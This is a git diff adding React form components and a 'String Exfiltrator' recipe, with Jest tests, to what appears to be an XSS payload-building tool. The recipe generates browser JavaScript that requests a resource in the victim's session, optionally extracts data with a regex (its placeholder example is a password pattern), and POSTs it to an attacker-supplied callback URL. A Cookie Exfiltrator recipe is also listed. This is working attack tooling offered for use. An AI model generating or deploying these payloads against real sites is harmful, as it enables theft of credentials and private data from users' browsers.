diff --git a/components/RecipeCheckBox/RecipeCheckBox.jsx b/components/RecipeCheckBox/RecipeCheckBox.jsx
new file mode 100644
index 0000000..dd6dd01
--- /dev/null
+++ b/components/RecipeCheckBox/RecipeCheckBox.jsx
@@ -0,0 +1,38 @@
+import React from 'react'
+
+class RecipeCheckBox extends React.Component {
+ constructor (props) {
+ super(props)
+
+ this.setRecipeProperty = this.setRecipeProperty.bind(this)
+ }
+
+ setRecipeProperty (e) {
+ this.props.setRecipeProperty(
+ this.props.instance.id,
+ this.props.bindTo,
+ e.target.checked
+ )
+ }
+
+ render () {
+ const inputId = `${this.props.instance.id}-${this.props.bindTo}`
+ return (
+
+
+
+
+ )
+ }
+}
+
+export default RecipeCheckBox
diff --git a/components/RecipeCheckBox/RecipeCheckBox.spec.jsx b/components/RecipeCheckBox/RecipeCheckBox.spec.jsx
new file mode 100644
index 0000000..cddbd3e
--- /dev/null
+++ b/components/RecipeCheckBox/RecipeCheckBox.spec.jsx
@@ -0,0 +1,77 @@
+import React from 'react'
+import RecipeCheckBox from './RecipeCheckBox'
+import { shallow } from 'enzyme'
+
+describe('', () => {
+ const setRecipeProperty = jest.fn()
+ const instance = {
+ id: 'instance_id',
+ dummy: true
+ }
+
+ const createWrapper = () => {
+ setRecipeProperty.mockReset()
+
+ return shallow(
+
+ )
+ }
+
+ it('should not render children', () => {
+ const wrapper = shallow(
+
+
+
+ )
+
+ expect(wrapper.find('div.test')).toHaveLength(0)
+ })
+
+ it('should render a check box field bound to the specified property', () => {
+ const wrapper = createWrapper()
+ const field = wrapper.find('input[type="checkbox"]')
+ expect(field).toHaveLength(1)
+ expect(field.props().checked).toBe(true)
+ })
+
+ it('should create a unique ID for the field', () => {
+ const wrapper = createWrapper()
+ const field = wrapper.find('input[type="checkbox"]')
+ expect(field).toHaveLength(1)
+ expect(field.props().id).toBe('instance_id-dummy')
+ })
+
+ it('should render a label for the field', () => {
+ const wrapper = createWrapper()
+ const field = wrapper.find('input[type="checkbox"]')
+ const label = wrapper.find('label')
+
+ expect(label).toHaveLength(1)
+ expect(label.props().htmlFor).toBe(field.props().id)
+ expect(label.text()).toBe('Dummy Label')
+ })
+
+ describe('when the input is changed', () => {
+ it('should invoke `props.setRecipeProperty`', () => {
+ const wrapper = createWrapper()
+ const field = wrapper.find('input[type="checkbox"]')
+
+ field.simulate('change', {
+ target: {
+ checked: true
+ }
+ })
+
+ expect(setRecipeProperty).toHaveBeenCalledWith(
+ 'instance_id',
+ 'dummy',
+ true
+ )
+ })
+ })
+})
diff --git a/components/RecipeCheckBox/index.jsx b/components/RecipeCheckBox/index.jsx
new file mode 100644
index 0000000..92503a1
--- /dev/null
+++ b/components/RecipeCheckBox/index.jsx
@@ -0,0 +1,2 @@
+import RecipeCheckBox from './RecipeCheckBox'
+export default RecipeCheckBox
diff --git a/components/RecipeCheckBox/index.spec.jsx b/components/RecipeCheckBox/index.spec.jsx
new file mode 100644
index 0000000..e3132ec
--- /dev/null
+++ b/components/RecipeCheckBox/index.spec.jsx
@@ -0,0 +1,6 @@
+import DefaultExport from './'
+import RecipeCheckBox from './RecipeCheckBox'
+
+it('should export the RecipeCheckBox class as the default export', () => {
+ expect(DefaultExport).toBe(RecipeCheckBox)
+})
diff --git a/components/RecipeTextField/RecipeTextField.jsx b/components/RecipeTextField/RecipeTextField.jsx
new file mode 100644
index 0000000..6e54c5d
--- /dev/null
+++ b/components/RecipeTextField/RecipeTextField.jsx
@@ -0,0 +1,35 @@
+import React from 'react'
+
+class RecipeTextField extends React.Component {
+ constructor (props) {
+ super(props)
+
+ this.setRecipeProperty = this.setRecipeProperty.bind(this)
+ }
+
+ setRecipeProperty (e) {
+ this.props.setRecipeProperty(
+ this.props.instance.id,
+ this.props.bindTo,
+ e.target.value
+ )
+ }
+
+ render () {
+ const inputId = `${this.props.instance.id}-${this.props.bindTo}`
+ return (
+
+
+
+
+ )
+ }
+}
+
+export default RecipeTextField
diff --git a/components/RecipeTextField/RecipeTextField.spec.jsx b/components/RecipeTextField/RecipeTextField.spec.jsx
new file mode 100644
index 0000000..e3b12da
--- /dev/null
+++ b/components/RecipeTextField/RecipeTextField.spec.jsx
@@ -0,0 +1,85 @@
+import React from 'react'
+import RecipeTextField from './RecipeTextField'
+import { shallow } from 'enzyme'
+
+describe('', () => {
+ const setRecipeProperty = jest.fn()
+ const instance = {
+ id: 'instance_id',
+ dummy: 'test'
+ }
+
+ const createWrapper = () => {
+ setRecipeProperty.mockReset()
+
+ return shallow(
+
+ )
+ }
+
+ it('should not render children', () => {
+ const wrapper = shallow(
+
+
+
+ )
+
+ expect(wrapper.find('div.test')).toHaveLength(0)
+ })
+
+ it('should render a text field bound to the specified property', () => {
+ const wrapper = createWrapper()
+ const textField = wrapper.find('input[type="text"]')
+ expect(textField).toHaveLength(1)
+ expect(textField.props().value).toBe('test')
+ })
+
+ it('should set the placeholder of the text field', () => {
+ const wrapper = createWrapper()
+ const textField = wrapper.find('input[type="text"]')
+ expect(textField).toHaveLength(1)
+ expect(textField.props().placeholder).toBe('Dummy Placeholder')
+ })
+
+ it('should create a unique ID for the text field', () => {
+ const wrapper = createWrapper()
+ const textField = wrapper.find('input[type="text"]')
+ expect(textField).toHaveLength(1)
+ expect(textField.props().id).toBe('instance_id-dummy')
+ })
+
+ it('should render a label for the text field', () => {
+ const wrapper = createWrapper()
+ const textField = wrapper.find('input[type="text"]')
+ const label = wrapper.find('label')
+
+ expect(label).toHaveLength(1)
+ expect(label.props().htmlFor).toBe(textField.props().id)
+ expect(label.text()).toBe('Dummy Label')
+ })
+
+ describe('when the input is changed', () => {
+ it('should invoke `props.setRecipeProperty`', () => {
+ const wrapper = createWrapper()
+ const textField = wrapper.find('input[type="text"]')
+
+ textField.simulate('change', {
+ target: {
+ value: 'new value'
+ }
+ })
+
+ expect(setRecipeProperty).toHaveBeenCalledWith(
+ 'instance_id',
+ 'dummy',
+ 'new value'
+ )
+ })
+ })
+})
diff --git a/components/RecipeTextField/index.jsx b/components/RecipeTextField/index.jsx
new file mode 100644
index 0000000..4fee58b
--- /dev/null
+++ b/components/RecipeTextField/index.jsx
@@ -0,0 +1,2 @@
+import RecipeTextField from './RecipeTextField'
+export default RecipeTextField
diff --git a/components/RecipeTextField/index.spec.jsx b/components/RecipeTextField/index.spec.jsx
new file mode 100644
index 0000000..5d646b0
--- /dev/null
+++ b/components/RecipeTextField/index.spec.jsx
@@ -0,0 +1,6 @@
+import DefaultExport from './'
+import RecipeTextField from './RecipeTextField'
+
+it('should export the RecipeTextField class as the default export', () => {
+ expect(DefaultExport).toBe(RecipeTextField)
+})
diff --git a/recipes/StringExfiltrator/StringExfiltrator.jsx b/recipes/StringExfiltrator/StringExfiltrator.jsx
new file mode 100644
index 0000000..5e04a08
--- /dev/null
+++ b/recipes/StringExfiltrator/StringExfiltrator.jsx
@@ -0,0 +1,88 @@
+import React from 'react'
+import RecipeTextField from '~/components/RecipeTextField'
+import RecipeCheckBox from '~/components/RecipeCheckBox'
+
+export function cook (instance, vars) {
+ const callbackName = `${instance.id}_cb`
+ const dataName = `${instance.id}_data`
+
+ let dataSelection = `var ${dataName} = xhr.response`
+ if (instance.pattern) {
+ dataSelection = `var ${dataName} = xhr.response.match(new RegExp('${instance.pattern.replace(/'/g, "\\'")}'))[0]`
+ }
+
+ let callbackBody = `var ${callbackName} = function () { }`
+ if (instance.waitForResponse) {
+ callbackBody = `var ${callbackName} = function () { __XSS_CHEF_ENTRY_POINT__ }`
+ }
+
+ const payload = [
+ `ajaxRequest('GET', '${instance.resource}', undefined, function (xhr) {`,
+ dataSelection,
+ callbackBody,
+ `ajaxRequest('POST', '${instance.callbackUrl}', 'data=' + encodeURIComponent(${dataName}), ${callbackName})`,
+ `})`,
+ instance.waitForResponse ? '' : '__XSS_CHEF_ENTRY_POINT__'
+ ].join('\n')
+
+ return {
+ payload: vars.payload.replace(/__XSS_CHEF_ENTRY_POINT__/g, payload)
+ }
+}
+
+export function init () {
+ return {
+ callbackUrl: '',
+ resource: '',
+ waitForResponse: true
+ }
+}
+
+export function render (instance, setRecipeProperty) {
+ return (
+
+
+
+
+
+
+
+
+
+ )
+}
+
+export function validate (instance) {
+ if (instance.callbackUrl === '') {
+ return false
+ }
+
+ if (instance.resource === '') {
+ return false
+ }
+
+ return true
+}
diff --git a/recipes/StringExfiltrator/StringExfiltrator.spec.jsx b/recipes/StringExfiltrator/StringExfiltrator.spec.jsx
new file mode 100644
index 0000000..8d9d134
--- /dev/null
+++ b/recipes/StringExfiltrator/StringExfiltrator.spec.jsx
@@ -0,0 +1,194 @@
+import { cook, init, render, validate } from './StringExfiltrator'
+import { shallow } from 'enzyme'
+
+describe('StringExfiltrator', () => {
+ describe('.cook', () => {
+ const createSubject = (opts = {}) => cook({
+ id: 'instance_id',
+ resource: 'http://127.0.0.1/secret.php',
+ callbackUrl: 'http://127.0.0.1/process',
+ pattern: opts.pattern,
+ waitForResponse: opts.waitForResponse
+ }, {
+ payload: '__XSS_CHEF_ENTRY_POINT__'
+ }).payload
+
+ it('should use the AjaxRequest module to download the specified resource', () => {
+ const payload = createSubject()
+
+ expect(payload).toEqual(
+ expect.stringContaining(
+ `ajaxRequest('GET', 'http://127.0.0.1/secret.php', undefined, function (xhr) {`
+ )
+ )
+
+ expect(payload).toEqual(
+ expect.stringContaining(
+ `var instance_id_data = xhr.response`
+ )
+ )
+ })
+
+ it('should use the AjaxRequest module to exfiltrate the data', () => {
+ const payload = createSubject()
+
+ expect(payload).toEqual(
+ expect.stringContaining(
+ `ajaxRequest('POST', 'http://127.0.0.1/process', 'data=' + encodeURIComponent(instance_id_data), instance_id_cb)`
+ )
+ )
+ })
+
+ describe('if a pattern is specified', () => {
+ it('should override the data to be exfiltrated with the result of the regex match', () => {
+ const payload = createSubject({
+ pattern: `value="escape 'this'"`
+ })
+
+ expect(payload).toEqual(
+ expect.stringContaining(
+ `var instance_id_data = xhr.response.match(new RegExp('value="escape \\'this\\'"'))[0]`
+ )
+ )
+ })
+ })
+
+ describe('if the "wait for request to finish" option is enabled', () => {
+ it('should place the next entry point in the exfiltration callback', () => {
+ const payload = createSubject({
+ waitForResponse: true
+ })
+
+ expect(payload).toEqual(
+ expect.stringContaining(
+ `var instance_id_cb = function () { __XSS_CHEF_ENTRY_POINT__ }`
+ )
+ )
+
+ expect(payload).not.toMatch(/__XSS_CHEF_ENTRY_POINT__$/)
+ })
+ })
+
+ describe('if the "wait for request to finish" option is not enabled', () => {
+ it('should place the next entry point at the end of the script', () => {
+ const payload = createSubject({
+ waitForResponse: false
+ })
+
+ expect(payload).toEqual(
+ expect.stringContaining(
+ `var instance_id_cb = function () { }`
+ )
+ )
+
+ expect(payload).toMatch(/__XSS_CHEF_ENTRY_POINT__$/)
+ })
+ })
+ })
+
+ describe('.init', () => {
+ it('should define {callbackUrl}', () => {
+ expect(init().callbackUrl).toBeDefined()
+ })
+
+ it('should define {resource}', () => {
+ expect(init().resource).toBeDefined()
+ })
+
+ it('should default {waitForResponse} to `true`', () => {
+ expect(init().waitForResponse).toBe(true)
+ })
+ })
+
+ describe('.render', () => {
+ const setRecipeProperty = jest.fn()
+ const instance = {
+ id: 'instance_id',
+ callbackUrl: 'callback URL'
+ }
+
+ it('should render a RecipeTextField for the callback URL`', () => {
+ const wrapper = shallow(render(instance, setRecipeProperty))
+ const textField = wrapper.find('RecipeTextField[bindTo="callbackUrl"]')
+ expect(textField).toHaveLength(1)
+ expect(textField.props()).toEqual({
+ bindTo: 'callbackUrl',
+ instance: instance,
+ label: 'Callback URL',
+ placeholder: 'Example: http://your.domain.com/logData',
+ setRecipeProperty: setRecipeProperty
+ })
+ })
+
+ it('should render a RecipeTextField for the pattern`', () => {
+ const wrapper = shallow(render(instance, setRecipeProperty))
+ const textField = wrapper.find('RecipeTextField[bindTo="pattern"]')
+ expect(textField).toHaveLength(1)
+ expect(textField.props()).toEqual({
+ bindTo: 'pattern',
+ instance: instance,
+ label: 'Pattern to Match',
+ placeholder: 'Example: password="[a-zA-z0-9]+?"',
+ setRecipeProperty: setRecipeProperty
+ })
+ })
+
+ it('should render a RecipeTextField for the resource path`', () => {
+ const wrapper = shallow(render(instance, setRecipeProperty))
+ const textField = wrapper.find('RecipeTextField[bindTo="resource"]')
+ expect(textField).toHaveLength(1)
+ expect(textField.props()).toEqual({
+ bindTo: 'resource',
+ instance: instance,
+ label: 'Resource',
+ placeholder: 'Example: /secret.php',
+ setRecipeProperty: setRecipeProperty
+ })
+ })
+
+ it('should render a checkbox bound to `instance.waitForResponse`', () => {
+ const wrapper = shallow(render(instance, setRecipeProperty))
+ const field = wrapper.find('RecipeCheckBox[bindTo="waitForResponse"]')
+ expect(field).toHaveLength(1)
+ expect(field.props()).toEqual({
+ bindTo: 'waitForResponse',
+ instance: instance,
+ label: 'Halt next operation until response is received',
+ setRecipeProperty: setRecipeProperty
+ })
+ })
+ })
+
+ describe('.validate', () => {
+ describe('if `instance.callbackUrl` is empty', () => {
+ it('should return false', () => {
+ const valid = validate({
+ callbackUrl: '',
+ resource: '/'
+ })
+ expect(valid).toBe(false)
+ })
+ })
+
+ describe('if `instance.resource` is empty', () => {
+ it('should return false', () => {
+ const valid = validate({
+ callbackUrl: 'http://127.0.0.1',
+ resource: ''
+ })
+ expect(valid).toBe(false)
+ })
+ })
+
+ describe('if all checks pass', () => {
+ it('should return true', () => {
+ const valid = validate({
+ callbackUrl: 'http://127.0.0.1',
+ resource: '/'
+ })
+
+ expect(valid).toBe(true)
+ })
+ })
+ })
+})
diff --git a/recipes/StringExfiltrator/index.jsx b/recipes/StringExfiltrator/index.jsx
new file mode 100644
index 0000000..39dcdab
--- /dev/null
+++ b/recipes/StringExfiltrator/index.jsx
@@ -0,0 +1,11 @@
+import { cook, render, validate, init } from './StringExfiltrator'
+
+export default {
+ title: 'String Exfiltrator',
+ description: 'Request a resource from the target\'s browser and exfiltrate the data',
+ cook: cook,
+ render: render,
+ validate: validate,
+ init: init,
+ dependencies: ['AjaxRequest']
+}
diff --git a/recipes/StringExfiltrator/index.spec.jsx b/recipes/StringExfiltrator/index.spec.jsx
new file mode 100644
index 0000000..db0ffb0
--- /dev/null
+++ b/recipes/StringExfiltrator/index.spec.jsx
@@ -0,0 +1,36 @@
+import StringExfiltrator from './index'
+
+describe('Default export', () => {
+ it('should have a title', () => {
+ expect(StringExfiltrator.title).toEqual('String Exfiltrator')
+ })
+
+ it('should have a description', () => {
+ expect(StringExfiltrator.description).toBeDefined()
+ })
+
+ it('should contain a `cook` function', () => {
+ expect(StringExfiltrator.cook).toBeDefined()
+ expect(typeof StringExfiltrator.cook).toBe('function')
+ })
+
+ it('should contain a `render` function', () => {
+ expect(StringExfiltrator.render).toBeDefined()
+ expect(typeof StringExfiltrator.render).toBe('function')
+ })
+
+ it('should contain a `validate` function', () => {
+ expect(StringExfiltrator.validate).toBeDefined()
+ expect(typeof StringExfiltrator.validate).toBe('function')
+ })
+
+ it('should contain a `init` function', () => {
+ expect(StringExfiltrator.init).toBeDefined()
+ expect(typeof StringExfiltrator.init).toBe('function')
+ })
+
+ it('should declare AjaxRequest as a dependency', () => {
+ expect(StringExfiltrator.dependencies).toBeDefined()
+ expect(StringExfiltrator.dependencies).toContain('AjaxRequest')
+ })
+})
diff --git a/recipes/index.jsx b/recipes/index.jsx
index 146cd89..05e0be4 100644
--- a/recipes/index.jsx
+++ b/recipes/index.jsx
@@ -1,7 +1,9 @@
import CookieExfiltrator from './CookieExfiltrator'
import DecimalEncoder from './DecimalEncoder'
+import StringExfiltrator from './StringExfiltrator'
export {
CookieExfiltrator,
- DecimalEncoder
+ DecimalEncoder,
+ StringExfiltrator
}